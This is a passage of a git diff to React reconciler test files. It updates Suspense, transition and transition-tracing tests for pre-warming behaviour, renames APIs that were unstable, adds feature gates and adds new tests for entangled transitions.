-    expect(root).toMatchRenderedOutput(<span prop="A" />);
-
-    await act(async () => {
-      setText('B');
-      ReactNoop.idleUpdates(() => {
-        setText('C');
-      });
-
-      // Suspend the first update. This triggers an immediate fallback because
-      // it wasn't wrapped in startTransition.
-      await waitForPaint(['Suspend! [B]', 'Loading...']);
-      expect(root).toMatchRenderedOutput(
-        <>
-          <span hidden={true} prop="A" />
-          <span prop="Loading..." />
-        </>,
-      );
-
-      // Once the fallback renders, proceed to the Idle update. This will
-      // also suspend.
-      await waitForAll(['Suspend! [C]']);
-    });
-
-    // Finish loading B.
-    await act(async () => {
-      setText('B');
-      await resolveText('B');
-    });
-    // We did not try to render the Idle update again because there have been no
-    // additional updates since the last time it was attempted.
-    assertLog(['B']);
-    expect(root).toMatchRenderedOutput(<span prop="B" />);
-
-    // Finish loading C.
-    await act(async () => {
-      setText('C');
-      await resolveText('C');
-    });
-    assertLog(['C']);
-    expect(root).toMatchRenderedOutput(<span prop="C" />);
-  });
-
   // @gate enableLegacyCache
   it('retries have lower priority than normal updates', async () => {
     const {useState} = React;
@@ -3805,7 +3852,13 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         </>,
       );
     });
-    assertLog(['A', 'Suspend! [Async]', 'Loading...']);
+    assertLog([
+      'A',
+      'Suspend! [Async]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Async]',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         <span prop="A" />
@@ -3872,7 +3925,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     await act(() => {
       root.render(<App show={true} />);
     });
-    assertLog(['Suspend! [Async]', 'Loading...']);
+    assertLog([
+      'Suspend! [Async]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Async]',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         <span hidden={true} prop="Child" />
@@ -3943,7 +4001,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // used to cause a crash.
       const thenable = {
         then(resolve) {
-          resolve('hi');
+          resolve('B');
         },
         status: 'pending',
       };
@@ -3953,21 +4011,21 @@ describe('ReactSuspenseWithNoopRenderer', () => {
           thenable.status = 'fulfilled';
           throw thenable;
         }
-        return <Text text="Hi" />;
+        return <Text text="B" />;
       }
 
       function App({showMore}) {
         return (
           <div>
-            <Suspense fallback={<Text text="Loading..." />}>
+            <Suspense fallback={<Text text="Loading A..." />}>
               {showMore ? (
                 <>
-                  <AsyncText text="Async" />
+                  <AsyncText text="A" />
                 </>
               ) : null}
             </Suspense>
             {showMore ? (
-              <Suspense>
+              <Suspense fallback={<Text text="Loading B..." />}>
                 <ImmediatelyPings />
               </Suspense>
             ) : null}
@@ -3996,17 +4054,21 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // microtask). But this test shows an example where that's not the case.
       //
       // The fix was to check if we're in the render phase before calling
-      // `prepareFreshStack`.
+      // `prepareFreshStack`. The synchronous ping is instead recorded so the
+      // lane can be retried.
       await act(() => {
-        root.render(<App showMore={true} />);
+        startTransition(() => root.render(<App showMore={true} />));
       });
-      assertLog(['Suspend! [Async]', 'Loading...', 'Hi']);
-      expect(root).toMatchRenderedOutput(
-        <div>
-          <span prop="Loading..." />
-          <span prop="Hi" />
-        </div>,
-      );
+      assertLog([
+        'Suspend! [A]',
+        'Loading A...',
+        'Loading B...',
+        // The synchronous ping was recorded, so B retries and renders.
+        'Suspend! [A]',
+        'Loading A...',
+        'B',
+      ]);
+      expect(root).toMatchRenderedOutput(<div />);
     },
   );
 
@@ -4043,7 +4105,16 @@ describe('ReactSuspenseWithNoopRenderer', () => {
 
     const root = ReactNoop.createRoot();
     root.render(<App />);
-    await waitForAll(['1', 'Suspend! [Async]', 'Loading...']);
+    await waitForAll([
+      '1',
+      'Suspend! [Async]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Async]',
+      'A',
+      'B',
+      'C',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         <span prop="1" />
@@ -4079,4 +4150,28 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       </>,
     );
   });
+
+  it('can rerender after resolving a promise', async () => {
+    const promise = Promise.resolve(null);
+    const root = ReactNoop.createRoot();
+
+    await act(() => {
+      startTransition(() => {
+        root.render(<Suspense>{promise}</Suspense>);
+      });
+    });
+
+    assertLog([]);
+    expect(root).toMatchRenderedOutput(null);
+
+    await act(() => {
+      startTransition(() => {
+        root.render(
+          <Suspense>
+            <div />
+          </Suspense>,
+        );
+      });
+    });
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspenseyCommitPhase-test.js b/packages/react-reconciler/src/__tests__/ReactSuspenseyCommitPhase-test.js
index 972416eddedb..6da915bd7112 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspenseyCommitPhase-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspenseyCommitPhase-test.js
@@ -23,7 +23,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     if (gate(flags => flags.enableSuspenseList)) {
       SuspenseList = React.unstable_SuspenseList;
     }
-    Activity = React.unstable_Activity;
+    Activity = React.Activity;
     useMemo = React.useMemo;
     startTransition = React.startTransition;
     resolveSuspenseyThing = ReactNoop.resolveSuspenseyThing;
@@ -50,6 +50,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     );
   }
 
+  // @gate enableSuspenseyImages
   it('suspend commit during initial mount', async () => {
     const root = ReactNoop.createRoot();
     await act(async () => {
@@ -70,6 +71,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="A" />);
   });
 
+  // @gate enableSuspenseyImages
   it('suspend commit during update', async () => {
     const root = ReactNoop.createRoot();
     await act(() => resolveSuspenseyThing('A'));
@@ -105,6 +107,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="B" />);
   });
 
+  // @gate enableSuspenseyImages
   it('suspend commit during initial mount at the root', async () => {
     const root = ReactNoop.createRoot();
     await act(async () => {
@@ -121,6 +124,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="A" />);
   });
 
+  // @gate enableSuspenseyImages
   it('suspend commit during update at the root', async () => {
     const root = ReactNoop.createRoot();
     await act(() => resolveSuspenseyThing('A'));
@@ -147,6 +151,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="B" />);
   });
 
+  // @gate enableSuspenseyImages
   it('suspend commit during urgent initial mount', async () => {
     const root = ReactNoop.createRoot();
     await act(async () => {
@@ -165,6 +170,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="A" />);
   });
 
+  // @gate enableSuspenseyImages
   it('suspend commit during urgent update', async () => {
     const root = ReactNoop.createRoot();
     await act(() => resolveSuspenseyThing('A'));
@@ -203,6 +209,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="B" />);
   });
 
+  // @gate enableSuspenseyImages
   it('suspends commit during urgent initial mount at the root', async () => {
     const root = ReactNoop.createRoot();
     await act(async () => {
@@ -217,6 +224,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="A" />);
   });
 
+  // @gate enableSuspenseyImages
   it('suspends commit during urgent update at the root', async () => {
     const root = ReactNoop.createRoot();
     await act(() => resolveSuspenseyThing('A'));
@@ -239,11 +247,8 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput(<suspensey-thing src="B" />);
   });
 
-  // @TODO This isn't actually ideal behavior. We would really want the commit to suspend
-  // even if it is forced to be sync because we don't want to FOUC but refactoring the sync
-  // pathway is too risky to land right now so we just accept that we can still FOUC in this
-  // very specific case.
-  it('does not suspend commit during urgent initial mount at the root when sync rendering', async () => {
+  // @gate enableSuspenseyImages
+  it('does suspend commit during urgent initial mount at the root when sync rendering', async () => {
     const root = ReactNoop.createRoot();
     await act(async () => {
       ReactNoop.flushSync(() => {
@@ -252,19 +257,16 @@ describe('ReactSuspenseyCommitPhase', () => {
     });
     assertLog(['Image requested [A]']);
     expect(getSuspenseyThingStatus('A')).toBe('pending');
-    // We would expect this to be null if we did in fact suspend this commit
-    expect(root).toMatchRenderedOutput(<suspensey-thing src="A" />);
+    // Suspend the initial mount
+    expect(root).toMatchRenderedOutput(null);
 
     resolveSuspenseyThing('A');
     expect(getSuspenseyThingStatus('A')).toBe('fulfilled');
     expect(root).toMatchRenderedOutput(<suspensey-thing src="A" />);
   });
 
-  // @TODO This isn't actually ideal behavior. We would really want the commit to suspend
-  // even if it is forced to be sync because we don't want to FOUC but refactoring the sync
-  // pathway is too risky to land right now so we just accept that we can still FOUC in this
-  // very specific case.
-  it('does not suspend commit during urgent update at the root when sync rendering', async () => {
+  // @gate enableSuspenseyImages
+  it('does suspend commit during urgent update at the root when sync rendering', async () => {
     const root = ReactNoop.createRoot();
     await act(() => resolveSuspenseyThing('A'));
     expect(getSuspenseyThingStatus('A')).toBe('fulfilled');
@@ -283,14 +285,15 @@ describe('ReactSuspenseyCommitPhase', () => {
     });
     assertLog(['Image requested [B]']);
     expect(getSuspenseyThingStatus('B')).toBe('pending');
-    // We would expect this to be hidden if we did in fact suspend this commit
-    expect(root).toMatchRenderedOutput(<suspensey-thing src="B" />);
+    // Suspend and remain on previous screen
+    expect(root).toMatchRenderedOutput(<suspensey-thing src="A" />);
 
     resolveSuspenseyThing('B');
     expect(getSuspenseyThingStatus('B')).toBe('fulfilled');
     expect(root).toMatchRenderedOutput(<suspensey-thing src="B" />);
   });
 
+  // @gate enableSuspenseyImages
   it('an urgent update interrupts a suspended commit', async () => {
     const root = ReactNoop.createRoot();
 
@@ -313,6 +316,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput('Something else');
   });
 
+  // @gate enableSuspenseyImages
   it('a transition update interrupts a suspended commit', async () => {
     const root = ReactNoop.createRoot();
 
@@ -337,11 +341,11 @@ describe('ReactSuspenseyCommitPhase', () => {
     expect(root).toMatchRenderedOutput('Something else');
   });
 
-  // @gate enableSuspenseList
+  // @gate enableSuspenseList && enableSuspenseyImages
   it('demonstrate current behavior when used with SuspenseList (not ideal)', async () => {
     function App() {
       return (
-        <SuspenseList revealOrder="forwards">
+        <SuspenseList revealOrder="forwards" tail="visible">
           <Suspense fallback={<Text text="Loading A" />}>
             <SuspenseyImage src="A" />
           </Suspense>
@@ -389,6 +393,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     );
   });
 
+  // @gate enableSuspenseyImages
   it('avoid triggering a fallback if resource loads immediately', async () => {
     const root = ReactNoop.createRoot();
     await act(async () => {
@@ -437,7 +442,7 @@ describe('ReactSuspenseyCommitPhase', () => {
     );
   });
 
-  // @gate enableActivity
+  // @gate enableSuspenseyImages
   it("host instances don't suspend during prerendering, but do suspend when they are revealed", async () => {
     function More() {
       Scheduler.log('More');
@@ -499,4 +504,46 @@ describe('ReactSuspenseyCommitPhase', () => {
       </>,
     );
   });
+
+  // FIXME: Should pass with `enableYieldingBeforePassive`
+  // @gate !enableYieldingBeforePassive && enableSuspenseyImages
+  it('runs passive effects after suspended commit resolves', async () => {
+    function Effect() {
+      React.useEffect(() => {
+        Scheduler.log('flush effect');
+      });
+      return <Text text="render effect" />;
+    }
+
+    const root = ReactNoop.createRoot();
+
+    await act(() => {
+      root.render(
+        <Suspense fallback={<Text text="Loading..." />}>
+          <Effect />
+          <SuspenseyImage src="A" />
+        </Suspense>,
+      );
+    });
+
+    assertLog([
+      'render effect',
+      'Image requested [A]',
+      'Loading...',
+      'render effect',
+    ]);
+    expect(root).toMatchRenderedOutput('Loading...');
+
+    await act(() => {
+      resolveSuspenseyThing('A');
+    });
+
+    assertLog(['flush effect']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        {'render effect'}
+        <suspensey-thing src="A" />
+      </>,
+    );
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactTransition-test.js b/packages/react-reconciler/src/__tests__/ReactTransition-test.js
index c466fb615c54..7a962018067a 100644
--- a/packages/react-reconciler/src/__tests__/ReactTransition-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactTransition-test.js
@@ -209,6 +209,319 @@ describe('ReactTransition', () => {
     expect(root).toMatchRenderedOutput('Async');
   });
 
+  // @gate enableLegacyCache
+  it('when multiple transitions update different queues, they entangle', async () => {
+    let setA;
+    let startTransitionA;
+    let setB;
+    let startTransitionB;
+    function A() {
+      const [a, _setA] = useState(0);
+      const [isPending, _startTransitionA] = useTransition();
+      setA = _setA;
+      startTransitionA = _startTransitionA;
+
+      return (
+        <span>
+          {isPending && (
+            <span>
+              <Text text="Pending A..." />
+            </span>
+          )}
+          <AsyncText text={`A: ${a}`} />
+        </span>
+      );
+    }
+
+    function B() {
+      const [b, _setB] = useState(0);
+      const [isPending, _startTransitionB] = useTransition();
+      setB = _setB;
+      startTransitionB = _startTransitionB;
+
+      return (
+        <span>
+          {isPending && (
+            <span>
+              <Text text="Pending B..." />
+            </span>
+          )}
+          <AsyncText text={`B: ${b}`} />
+        </span>
+      );
+    }
+    function App() {
+      return (
+        <>
+          <Suspense fallback={<span>Loading A</span>}>
+            <A />
+          </Suspense>
+          <Suspense fallback={<span>Loading B</span>}>
+            <B />
+          </Suspense>
+        </>
+      );
+    }
+
+    // Initial render
+    const root = ReactNoop.createRoot();
+    await act(() => {
+      root.render(<App />);
+    });
+    assertLog([
+      'Suspend! [A: 0]',
+      'Suspend! [B: 0]',
+      'Suspend! [A: 0]',
+      'Suspend! [B: 0]',
+    ]);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Loading A</span>
+        <span>Loading B</span>
+      </>,
+    );
+
+    // Resolve
+    await act(() => {
+      resolveText('A: 0');
+      resolveText('B: 0');
+    });
+    assertLog(['A: 0', 'B: 0']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>A: 0</span>
+        <span>B: 0</span>
+      </>,
+    );
+
+    // Start transitioning A
+    await act(() => {
+      startTransitionA(() => {
+        setA(1);
+      });
+    });
+    assertLog(['Pending A...', 'A: 0', 'Suspend! [A: 1]']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>
+          <span>Pending A...</span>A: 0
+        </span>
+        <span>B: 0</span>
+      </>,
+    );
+
+    // Start transitioning B
+    await act(() => {
+      startTransitionB(() => {
+        setB(1);
+      });
+    });
+    assertLog(['Pending B...', 'B: 0', 'Suspend! [A: 1]', 'Suspend! [B: 1]']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>
+          <span>Pending A...</span>A: 0
+        </span>
+        <span>
+          <span>Pending B...</span>B: 0
+        </span>
+      </>,
+    );
+
+    // Resolve B
+    await act(() => {
+      resolveText('B: 1');
+    });
+    assertLog(
+      gate('enableParallelTransitions')
+        ? ['B: 1', 'Suspend! [A: 1]']
+        : ['Suspend! [A: 1]', 'B: 1'],
+    );
+    expect(root).toMatchRenderedOutput(
+      gate('enableParallelTransitions') ? (
+        <>
+          <span>
+            <span>Pending A...</span>A: 0
+          </span>
+          <span>B: 1</span>
+        </>
+      ) : (
+        <>
+          <span>
+            <span>Pending A...</span>A: 0
+          </span>
+          <span>
+            <span>Pending B...</span>B: 0
+          </span>
+        </>
+      ),
+    );
+
+    // Resolve A
+    await act(() => {
+      resolveText('A: 1');
+    });
+    assertLog(gate('enableParallelTransitions') ? ['A: 1'] : ['A: 1', 'B: 1']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>A: 1</span>
+        <span>B: 1</span>
+      </>,
+    );
+  });
+
+  // @gate enableLegacyCache
+  it('when multiple transitions update different queues, but suspend the same boundary, they do entangle', async () => {
+    let setA;
+    let startTransitionA;
+    let setB;
+    let startTransitionB;
+    function A() {
+      const [a, _setA] = useState(0);
+      const [isPending, _startTransitionA] = useTransition();
+      setA = _setA;
+      startTransitionA = _startTransitionA;
+
+      return (
+        <span>
+          {isPending && (
+            <span>
+              <Text text="Pending A..." />
+            </span>
+          )}
+          <AsyncText text={`A: ${a}`} />
+        </span>
+      );
+    }
+
+    function B() {
+      const [b, _setB] = useState(0);
+      const [isPending, _startTransitionB] = useTransition();
+      setB = _setB;
+      startTransitionB = _startTransitionB;
+
+      return (
+        <span>
+          {isPending && (
+            <span>
+              <Text text="Pending B..." />
+            </span>
+          )}
+          <AsyncText text={`B: ${b}`} />
+        </span>
+      );
+    }
+    function App() {
+      return (
+        <Suspense fallback={<span>Loading...</span>}>
+          <A />
+          <B />
+        </Suspense>
+      );
+    }
+
+    // Initial render
+    const root = ReactNoop.createRoot();
+    await act(() => {
+      root.render(<App />);
+    });
+    assertLog([
+      'Suspend! [A: 0]',
+      // pre-warming
+      'Suspend! [A: 0]',
+      'Suspend! [B: 0]',
+    ]);
+    expect(root).toMatchRenderedOutput(<span>Loading...</span>);
+
+    // Resolve
+    await act(() => {
+      resolveText('A: 0');
+      resolveText('B: 0');
+    });
+    assertLog(['A: 0', 'B: 0']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>A: 0</span>
+        <span>B: 0</span>
+      </>,
+    );
+
+    // Start transitioning A
+    await act(() => {
+      startTransitionA(() => {
+        setA(1);
+      });
+    });
+    assertLog(['Pending A...', 'A: 0', 'Suspend! [A: 1]']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>
+          <span>Pending A...</span>A: 0
+        </span>
+        <span>B: 0</span>
+      </>,
+    );
+
+    // Start transitioning B
+    await act(() => {
+      startTransitionB(() => {
+        setB(1);
+      });
+    });
+    assertLog(['Pending B...', 'B: 0', 'Suspend! [A: 1]', 'Suspend! [B: 1]']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>
+          <span>Pending A...</span>A: 0
+        </span>
+        <span>
+          <span>Pending B...</span>B: 0
+        </span>
+      </>,
+    );
+
+    // Resolve B
+    await act(() => {
+      resolveText('B: 1');
+    });
+    assertLog(
+      gate('enableParallelTransitions')
+        ? ['B: 1', 'Suspend! [A: 1]']
+        : ['Suspend! [A: 1]', 'B: 1'],
+    );
+    expect(root).toMatchRenderedOutput(
+      gate('enableParallelTransitions') ? (
+        <>
+          <span>
+            <span>Pending A...</span>A: 0
+          </span>
+          <span>B: 1</span>
+        </>
+      ) : (
+        <>
+          <span>
+            <span>Pending A...</span>A: 0
+          </span>
+          <span>
+            <span>Pending B...</span>B: 0
+          </span>
+        </>
+      ),
+    );
+
+    // Resolve A
+    await act(() => {
+      resolveText('A: 1');
+    });
+    assertLog(gate('enableParallelTransitions') ? ['A: 1'] : ['A: 1', 'B: 1']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>A: 1</span>
+        <span>B: 1</span>
+      </>,
+    );
+  });
+
   // @gate enableLegacyCache
   it(
     'when multiple transitions update the same queue, only the most recent ' +
@@ -860,6 +1173,9 @@ describe('ReactTransition', () => {
     assertLog([
       // Suspend.
       'Suspend! [Async]',
+      // pre-warming
+      'Normal pri: 0',
+      // end pre-warming
       'Loading...',
     ]);
     expect(root).toMatchRenderedOutput('(empty), Normal pri: 0');
@@ -925,28 +1241,15 @@ describe('ReactTransition', () => {
       updateNormalPri();
     });
 
-    if (gate(flags => flags.enableUnifiedSyncLane)) {
-      assertLog([
-        'Normal pri: 0',
-        'Commit',
-
-        // Normal pri update.
-        'Transition pri: 1',
-        'Normal pri: 1',
-        'Commit',
-      ]);
-    } else {
-      assertLog([
-        // Finish transition update.
-        'Normal pri: 0',
-        'Commit',
+    assertLog([
+      'Normal pri: 0',
+      'Commit',
 
-        // Normal pri update.
-        'Transition pri: 1',
-        'Normal pri: 1',
-        'Commit',
-      ]);
-    }
+      // Normal pri update.
+      'Transition pri: 1',
+      'Normal pri: 1',
+      'Commit',
+    ]);
 
     expect(root).toMatchRenderedOutput('Transition pri: 1, Normal pri: 1');
   });
diff --git a/packages/react-reconciler/src/__tests__/ReactTransitionTracing-test.js b/packages/react-reconciler/src/__tests__/ReactTransitionTracing-test.js
index 424520594675..42d3ee57a613 100644
--- a/packages/react-reconciler/src/__tests__/ReactTransitionTracing-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactTransitionTracing-test.js
@@ -14,6 +14,7 @@ let Scheduler;
 let act;
 let waitForAll;
 let assertLog;
+let assertConsoleErrorDev;
 
 let getCacheForType;
 let useState;
@@ -43,16 +44,16 @@ describe('ReactInteractionTracing', () => {
     ReactNoop = require('react-noop-renderer');
     Scheduler = require('scheduler');
 
-    act = require('internal-test-utils').act;
-
     const InternalTestUtils = require('internal-test-utils');
+    act = InternalTestUtils.act;
     waitForAll = InternalTestUtils.waitForAll;
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 
     useState = React.useState;
     startTransition = React.startTransition;
     Suspense = React.Suspense;
-    Activity = React.unstable_Activity;
+    Activity = React.Activity;
 
     getCacheForType = React.unstable_getCacheForType;
 
@@ -411,7 +412,7 @@ describe('ReactInteractionTracing', () => {
           {navigate ? (
             <Suspense
               fallback={<Text text="Loading..." />}
-              unstable_name="suspense page">
+              name="suspense page">
               <AsyncText text="Page Two" />
             </Suspense>
           ) : (
@@ -441,6 +442,9 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        // end pre-warming
         'onTransitionStart(page transition, 1000)',
         'onTransitionProgress(page transition, 1000, 2000, [suspense page])',
       ]);
@@ -496,14 +500,14 @@ describe('ReactInteractionTracing', () => {
             <>
               {showText ? (
                 <Suspense
-                  unstable_name="show text"
+                  name="show text"
                   fallback={<Text text="Show Text Loading..." />}>
                   <AsyncText text="Show Text" />
                 </Suspense>
               ) : null}
               <Suspense
                 fallback={<Text text="Loading..." />}
-                unstable_name="suspense page">
+                name="suspense page">
                 <AsyncText text="Page Two" />
               </Suspense>
             </>
@@ -531,6 +535,9 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        // end pre-warming
         'onTransitionStart(page transition, 1000)',
         'onTransitionProgress(page transition, 1000, 1000, [suspense page])',
       ]);
@@ -549,6 +556,9 @@ describe('ReactInteractionTracing', () => {
         'Suspend [Show Text]',
         'Show Text Loading...',
         'Page Two',
+        // pre-warming
+        'Suspend [Show Text]',
+        // end pre-warming
         'onTransitionStart(text transition, 2000)',
         'onTransitionProgress(text transition, 2000, 2000, [show text])',
       ]);
@@ -601,14 +611,14 @@ describe('ReactInteractionTracing', () => {
             <>
               {showText ? (
                 <Suspense
-                  unstable_name="show text"
+                  name="show text"
                   fallback={<Text text="Show Text Loading..." />}>
                   <AsyncText text="Show Text" />
                 </Suspense>
               ) : null}
               <Suspense
                 fallback={<Text text="Loading..." />}
-                unstable_name="suspense page">
+                name="suspense page">
                 <AsyncText text="Page Two" />
               </Suspense>
             </>
@@ -638,6 +648,9 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        // end pre-warming
         'onTransitionStart(page transition, 1000)',
         'onTransitionProgress(page transition, 1000, 2000, [suspense page])',
       ]);
@@ -651,6 +664,10 @@ describe('ReactInteractionTracing', () => {
         'Show Text Loading...',
         'Suspend [Page Two]',
         'Loading...',
+        // pre-warming
+        'Suspend [Show Text]',
+        'Suspend [Page Two]',
+        // end pre-warming
         'onTransitionStart(show text, 2000)',
         'onTransitionProgress(show text, 2000, 2000, [show text])',
       ]);
@@ -711,16 +728,16 @@ describe('ReactInteractionTracing', () => {
             <>
               <Suspense
                 fallback={<Text text="Loading..." />}
-                unstable_name="suspense page">
+                name="suspense page">
                 <AsyncText text="Page Two" />
                 <Suspense
-                  unstable_name="show text one"
+                  name="show text one"
                   fallback={<Text text="Show Text One Loading..." />}>
                   <AsyncText text="Show Text One" />
                 </Suspense>
                 <div>
                   <Suspense
-                    unstable_name="show text two"
+                    name="show text two"
                     fallback={<Text text="Show Text Two Loading..." />}>
                     <AsyncText text="Show Text Two" />
                   </Suspense>
@@ -753,6 +770,13 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        'Suspend [Show Text One]',
+        'Show Text One Loading...',
+        'Suspend [Show Text Two]',
+        'Show Text Two Loading...',
+        // end pre-warming
         'onTransitionStart(page transition, 1000)',
         'onTransitionProgress(page transition, 1000, 2000, [suspense page])',
       ]);
@@ -767,6 +791,10 @@ describe('ReactInteractionTracing', () => {
         'Show Text One Loading...',
         'Suspend [Show Text Two]',
         'Show Text Two Loading...',
+        // pre-warming
+        'Suspend [Show Text One]',
+        'Suspend [Show Text Two]',
+        // end pre-warming
         'onTransitionProgress(page transition, 1000, 3000, [show text one, show text two])',
       ]);
 
@@ -828,12 +856,12 @@ describe('ReactInteractionTracing', () => {
             <>
               <Suspense
                 fallback={<Text text="Loading..." />}
-                unstable_name="suspense page">
+                name="suspense page">
                 <AsyncText text="Page Two" />
                 {/* showTextOne is entangled with navigate */}
                 {showTextOne ? (
                   <Suspense
-                    unstable_name="show text one"
+                    name="show text one"
                     fallback={<Text text="Show Text One Loading..." />}>
                     <AsyncText text="Show Text One" />
                   </Suspense>
@@ -845,7 +873,7 @@ describe('ReactInteractionTracing', () => {
                  from completing */}
                 {showTextTwo ? (
                   <Suspense
-                    unstable_name="show text two"
+                    name="show text two"
                     fallback={<Text text="Show Text Two Loading..." />}>
                     <AsyncText text="Show Text Two" />
                   </Suspense>
@@ -879,6 +907,13 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        'Suspend [Show Text One]',
+        'Show Text One Loading...',
+        'Suspend [Show Text]',
+        'Show Text Loading...',
+        // end pre-warming
         'onTransitionStart(navigate, 1000)',
         'onTransitionStart(show text one, 1000)',
         'onTransitionProgress(navigate, 1000, 2000, [suspense page])',
@@ -894,6 +929,10 @@ describe('ReactInteractionTracing', () => {
         'Show Text One Loading...',
         'Suspend [Show Text]',
         'Show Text Loading...',
+        // pre-warming
+        'Suspend [Show Text One]',
+        'Suspend [Show Text]',
+        // end pre-warming
         'onTransitionProgress(navigate, 1000, 3000, [show text one, <null>])',
         'onTransitionProgress(show text one, 1000, 3000, [show text one, <null>])',
       ]);
@@ -910,6 +949,11 @@ describe('ReactInteractionTracing', () => {
         'Show Text Loading...',
         'Suspend [Show Text Two]',
         'Show Text Two Loading...',
+        // pre-warming
+        'Suspend [Show Text One]',
+        'Suspend [Show Text]',
+        'Suspend [Show Text Two]',
+        // end pre-warming
         'onTransitionStart(show text two, 3000)',
         'onTransitionProgress(show text two, 3000, 4000, [show text two])',
       ]);
@@ -1076,13 +1120,13 @@ describe('ReactInteractionTracing', () => {
           {navigate ? (
             <Suspense
               fallback={<Text text="Loading..." />}
-              unstable_name="suspense page">
+              name="suspense page">
               <AsyncText text="Page Two" />
               <React.unstable_TracingMarker name="sync marker" />
               <React.unstable_TracingMarker name="async marker">
                 <Suspense
                   fallback={<Text text="Loading..." />}
-                  unstable_name="marker suspense">
+                  name="marker suspense">
                   <AsyncText text="Marker Text" />
                 </Suspense>
               </React.unstable_TracingMarker>
@@ -1114,6 +1158,11 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        'Suspend [Marker Text]',
+        'Loading...',
+        // end pre-warming
         'onTransitionStart(page transition, 1000)',
       ]);
 
@@ -1125,6 +1174,9 @@ describe('ReactInteractionTracing', () => {
         'Page Two',
         'Suspend [Marker Text]',
         'Loading...',
+        // pre-warming
+        'Suspend [Marker Text]',
+        // end pre-warming
         'onMarkerProgress(page transition, async marker, 1000, 3000, [marker suspense])',
         'onMarkerComplete(page transition, sync marker, 1000, 3000)',
       ]);
@@ -1183,20 +1235,18 @@ describe('ReactInteractionTracing', () => {
         <div>
           {navigate ? (
             <React.unstable_TracingMarker name="outer marker">
-              <Suspense
-                fallback={<Text text="Outer..." />}
-                unstable_name="outer">
+              <Suspense fallback={<Text text="Outer..." />} name="outer">
                 <AsyncText text="Outer Text" />
                 <Suspense
                   fallback={<Text text="Inner One..." />}
-                  unstable_name="inner one">
+                  name="inner one">
                   <React.unstable_TracingMarker name="marker one">
                     <AsyncText text="Inner Text One" />
                   </React.unstable_TracingMarker>
                 </Suspense>
                 <Suspense
                   fallback={<Text text="Inner Two..." />}
-                  unstable_name="inner two">
+                  name="inner two">
                   <React.unstable_TracingMarker name="marker two">
                     <AsyncText text="Inner Text Two" />
                   </React.unstable_TracingMarker>
@@ -1230,6 +1280,13 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Outer Text]',
         'Outer...',
+        // pre-warming
+        'Suspend [Outer Text]',
+        'Suspend [Inner Text One]',
+        'Inner One...',
+        'Suspend [Inner Text Two]',
+        'Inner Two...',
+        // end pre-warming
         'onTransitionStart(page transition, 1000)',
         'onMarkerProgress(page transition, outer marker, 1000, 2000, [outer])',
       ]);
@@ -1247,6 +1304,9 @@ describe('ReactInteractionTracing', () => {
         'Suspend [Inner Text One]',
         'Inner One...',
         'Inner Text Two',
+        // pre-warming
+        'Suspend [Inner Text One]',
+        // end pre-warming
         'onMarkerProgress(page transition, outer marker, 1000, 4000, [inner one])',
         'onMarkerComplete(page transition, marker two, 1000, 4000)',
       ]);
@@ -1358,14 +1418,12 @@ describe('ReactInteractionTracing', () => {
